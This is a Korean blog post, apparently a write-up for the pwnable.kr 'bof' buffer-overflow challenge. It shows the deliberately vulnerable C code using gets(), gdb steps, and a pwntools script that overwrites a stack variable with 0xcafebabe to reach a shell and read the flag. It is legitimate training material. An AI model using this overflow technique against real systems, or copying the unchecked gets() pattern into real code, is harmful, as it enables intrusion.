pwnable.kr - bof 문제풀이

김왕구·2023년 4월 20일

Buffer Overflow


취약한 코드(다운로드 링크)
실행파일 다운로드

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void func(int key) {
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

해설

이 문제는 gets() 함수의 취약점을 이용한 공격을 하여 플래그를 얻어내야 한다. 이 함수는 표준 입력을 받아 buffer에 저장하는 함수이다. 그러나 이 함수에는 심각한 취약점이 있다. 바로 입력을 받는 길이에 대한 제한이 없다는 것인데, 이 말은 즉 buffer가 받을 수 있는 용량을 초과하여 받을 수 있다는 것이다. 이렇게 입력을 받을 수 있는 길이를 초과하여 받았을 때를 Buffer Overflow 취약점이라고 한다. 우리는 이 취약점을 이렇게 이용할 수 있다.

1. 디버깅

우선 C 코드만 보았을 때 gets() 함수가 실행된 바로 다음 라인에 key(우리가 변조해야할 변수)0xcafebabe에 대해 같은지를 검사하고 있으므로 디버깅을 통해 더 자세히 볼 것이다.

1. break point를 mainfunc에 설정한다.

break point settings

2. disass(역어셈블) 명령어를 통해 mainfunc의 구조를 살펴본다.

disass main/func

3. 구조를 살펴보았다면 break point를 걸어둔 상태로 프로그램을 시작한다.

main

r(run)

main state

func

c(continue)

우리는 이 함수를 조사할 것이다.

func_state

우선 우리는 gets()에 break point를 걸고 값을 입력할 것이다.

gets bp

이렇게 위와 같이 "AAAA"를 입력하고 현재 해당 문자열을 가리키고 있는 ESP의 메모리를 조사한다.

examine

이렇게 24개의 값을 보게 되면 0x41414141 로 이루어진 값이 존재한다. 이 값은 리틀엔디언으로 표기가 되어 있으며 이전에 입력했던 "AAAA"'A'의 아스키 코드가 0x41 이라는 것을 알고 있다면 이것이 buffer가 시작되는 지점이라는 것을 알 수 있다. 그리고 0xffffd6d0의 첫 번째 값에 0xdeadbeef(key 값)이 존재하는 것으로 보아 Buffer Overflow를 유발하여 버퍼의 주소부터 key 값이 존재하는 주소의 값 전까지 임의로 값을 바꾸고 아래 조건을 충족하기 위해 0xcafebabe로 값을 덮어씌운다.

cmp dword ptr [ebp + 8], 0xcafebabe 
; ebp + 0x8은 현재 push된 key 값의 시작 주소에서 ebp + 0x8까지 읽어들인다는 뜻이다.

이제 방법을 알아냈으니 Shellcode를 만들어보자.

2. Shellcode

# file: bof_shellcode.py

from pwn import *

r = remote('pwnable.kr', '9000')

# Payload
# Stackframe + Stackframe Pointer + Dummy += Payload
# BOF가 일어난 상태이지만 break point로 stack frame check 함수를 만나지 않아 패닉이 발생하지 않음
# 'A' 문자 52개를 삽입하여 BOF를 발생시키면 key값인 0xdeadbeef를 변조하기 직전까지 갈 수 있다.

pay = b'A' * 0x34
pay += b'\xbe\xba\xfe\xca' # 0xcafebabe

r.sendline(pay)
r.sendline(b'cat flag')

data = r.recv(1024)
print(data)

3. Result

Result

4. 느낀점

이번에 Pwn을 처음 제대로 공부하게 되었는데 정말 어렵긴 하지만 계속 풀어나가면서 CS 지식과 재미를 동시에 느끼는 것 같아 너무 행복하다. 계속해보자

profile
시스템 보안과 운영체제 개발, Rust에 관심이 많은 학생

0개의 댓글